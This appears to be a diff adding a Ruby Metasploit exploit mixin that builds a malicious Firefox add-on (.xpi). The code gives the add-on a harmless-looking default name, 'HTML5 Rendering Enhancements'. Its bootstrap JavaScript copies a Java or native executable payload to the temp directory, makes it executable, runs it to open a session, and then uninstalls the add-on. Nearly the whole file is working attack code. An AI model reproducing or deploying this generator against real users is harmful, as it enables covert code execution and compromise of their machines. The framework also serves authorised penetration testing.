|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +### |
| 4 | +# |
| 5 | +# The FirefoxAddonGenerator allows a firefox exploit module to serve a malicious .xpi |
| 6 | +# addon that will gain a session. |
| 7 | +# |
| 8 | +### |
| 9 | + |
| 10 | +module Msf |
| 11 | +module Exploit::Remote::FirefoxAddonGenerator |
| 12 | + |
| 13 | + # Add in the supported datastore options |
| 14 | + def initialize( info = {} ) |
| 15 | + super(update_info(info, |
| 16 | + 'Platform' => %w{ java linux osx solaris win }, |
| 17 | + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, |
| 18 | + 'Targets' => |
| 19 | + [ |
| 20 | + [ 'Generic (Java Payload)', |
| 21 | + { |
| 22 | + 'Platform' => ['java'], |
| 23 | + 'Arch' => ARCH_JAVA |
| 24 | + } |
| 25 | + ], |
| 26 | + [ 'Windows x86 (Native Payload)', |
| 27 | + { |
| 28 | + 'Platform' => 'win', |
| 29 | + 'Arch' => ARCH_X86, |
| 30 | + } |
| 31 | + ], |
| 32 | + [ 'Linux x86 (Native Payload)', |
| 33 | + { |
| 34 | + 'Platform' => 'linux', |
| 35 | + 'Arch' => ARCH_X86, |
| 36 | + } |
| 37 | + ], |
| 38 | + [ 'Mac OS X PPC (Native Payload)', |
| 39 | + { |
| 40 | + 'Platform' => 'osx', |
| 41 | + 'Arch' => ARCH_PPC, |
| 42 | + } |
| 43 | + ], |
| 44 | + [ 'Mac OS X x86 (Native Payload)', |
| 45 | + { |
| 46 | + 'Platform' => 'osx', |
| 47 | + 'Arch' => ARCH_X86, |
| 48 | + } |
| 49 | + ] |
| 50 | + ], |
| 51 | + 'DefaultTarget' => 1 |
| 52 | + )) |
| 53 | + |
| 54 | + register_options( [ |
| 55 | + OptString.new('ADDONNAME', [ true, |
| 56 | + "The addon name.", |
| 57 | + "HTML5 Rendering Enhancements" |
| 58 | + ]), |
| 59 | + OptBool.new('AutoUninstall', [ true, |
| 60 | + "Automatically uninstall the addon after payload execution", |
| 61 | + true |
| 62 | + ]) |
| 63 | + ], self.class) |
| 64 | + end |
| 65 | + |
| 66 | + # @return [Rex::Zip::Archive] containing a .xpi, ready to be served with the |
| 67 | + # 'application/x-xpinstall' MIME type |
| 68 | + def generate_addon_xpi |
| 69 | + if target.name == 'Generic (Java Payload)' |
| 70 | + jar = p.encoded_jar |
| 71 | + jar.build_manifest(:main_class => "metasploit.Payload") |
| 72 | + payload_file = jar.pack |
| 73 | + payload_name='payload.jar' |
| 74 | + payload_script=%q| |
| 75 | + var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.java |
| 76 | + java.lang.System.setSecurityManager(null); |
| 77 | + var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]); |
| 78 | + var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]); |
| 79 | + m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]); |
| 80 | + | |
| 81 | + else |
| 82 | + payload_file = generate_payload_exe |
| 83 | + payload_name = Rex::Text.rand_text_alphanumeric(8) + '.exe' |
| 84 | + payload_script=%q| |
| 85 | + var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); |
| 86 | + process.init(tmp); |
| 87 | + process.run(false,[],0); |
| 88 | + | |
| 89 | + if target.name != 'Windows x86 (Native Payload)' |
| 90 | + payload_script = %q| |
| 91 | + var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); |
| 92 | + chmod.initWithPath("/bin/chmod"); |
| 93 | + var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); |
| 94 | + process.init(chmod); |
| 95 | + process.run(true, ["+x", tmp.path], 2); |
| 96 | + | + payload_script |
| 97 | + end |
| 98 | + end |
| 99 | + |
| 100 | + zip = Rex::Zip::Archive.new |
| 101 | + xpi_guid = Rex::Text.rand_guid |
| 102 | + bootstrap_script = %q| |
| 103 | +function startup(data, reason) { |
| 104 | + var file = Components.classes["@mozilla.org/file/directory_service;1"]. |
| 105 | + getService(Components.interfaces.nsIProperties). |
| 106 | + get("ProfD", Components.interfaces.nsIFile); |
| 107 | + file.append("extensions"); |
| 108 | + | |
| 109 | + bootstrap_script << %Q|xpi_guid="#{xpi_guid}";| |
| 110 | + bootstrap_script << %Q|payload_name="#{payload_name}";| |
| 111 | + bootstrap_script << %q| |
| 112 | + file.append(xpi_guid); |
| 113 | + file.append(payload_name); |
| 114 | + var tmp = Components.classes["@mozilla.org/file/directory_service;1"]. |
| 115 | + getService(Components.interfaces.nsIProperties). |
| 116 | + get("TmpD", Components.interfaces.nsIFile); |
| 117 | + tmp.append(payload_name); |
| 118 | + tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666); |
| 119 | + file.copyTo(tmp.parent, tmp.leafName); |
| 120 | + | |
| 121 | + bootstrap_script << payload_script |
| 122 | + |
| 123 | + if (datastore['AutoUninstall']) |
| 124 | + bootstrap_script << %q| |
| 125 | + try { // Fx < 4.0 |
| 126 | + Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid); |
| 127 | + } catch (e) {} |
| 128 | + try { // Fx 4.0 and later |
| 129 | + Components.utils.import("resource://gre/modules/AddonManager.jsm"); |
| 130 | + AddonManager.getAddonByID(xpi_guid, function(addon) { |
| 131 | + addon.uninstall(); |
| 132 | + }); |
| 133 | + } catch (e) {} |
| 134 | + | |
| 135 | + end |
| 136 | + |
| 137 | + bootstrap_script << "}" |
| 138 | + |
| 139 | + zip.add_file('bootstrap.js', bootstrap_script) |
| 140 | + zip.add_file(payload_name, payload_file) |
| 141 | + zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n") |
| 142 | + zip.add_file('install.rdf', %Q|<?xml version="1.0"?> |
| 143 | +<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> |
| 144 | + <Description about="urn:mozilla:install-manifest"> |
| 145 | + <em:id>#{xpi_guid}</em:id> |
| 146 | + <em:name>#{datastore['ADDONNAME']}</em:name> |
| 147 | + <em:version>1.0</em:version> |
| 148 | + <em:bootstrap>true</em:bootstrap> |
| 149 | + <em:unpack>true</em:unpack> |
| 150 | + <em:targetApplication> |
| 151 | + <Description> |
| 152 | + |
| 153 | + <em:minVersion>1.0</em:minVersion> |
| 154 | + <em:maxVersion>*</em:maxVersion> |
| 155 | + </Description> |
| 156 | + </em:targetApplication> |
| 157 | + <em:targetApplication> |
| 158 | + <Description> |
| 159 | + <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> |
| 160 | + <em:minVersion>1.0</em:minVersion> |
| 161 | + <em:maxVersion>*</em:maxVersion> |
| 162 | + </Description> |
| 163 | + </em:targetApplication> |
| 164 | + </Description> |
| 165 | +</RDF>|) |
| 166 | + zip.add_file('overlay.xul', %q|<?xml version="1.0"?> |
| 167 | +<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> |
| 168 | + <script src="bootstrap.js"/> |
| 169 | + <script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script> |
| 170 | +</overlay>|) |
| 171 | + zip |
| 172 | + end |
| 173 | +end |
| 174 | +end |
0 commit comments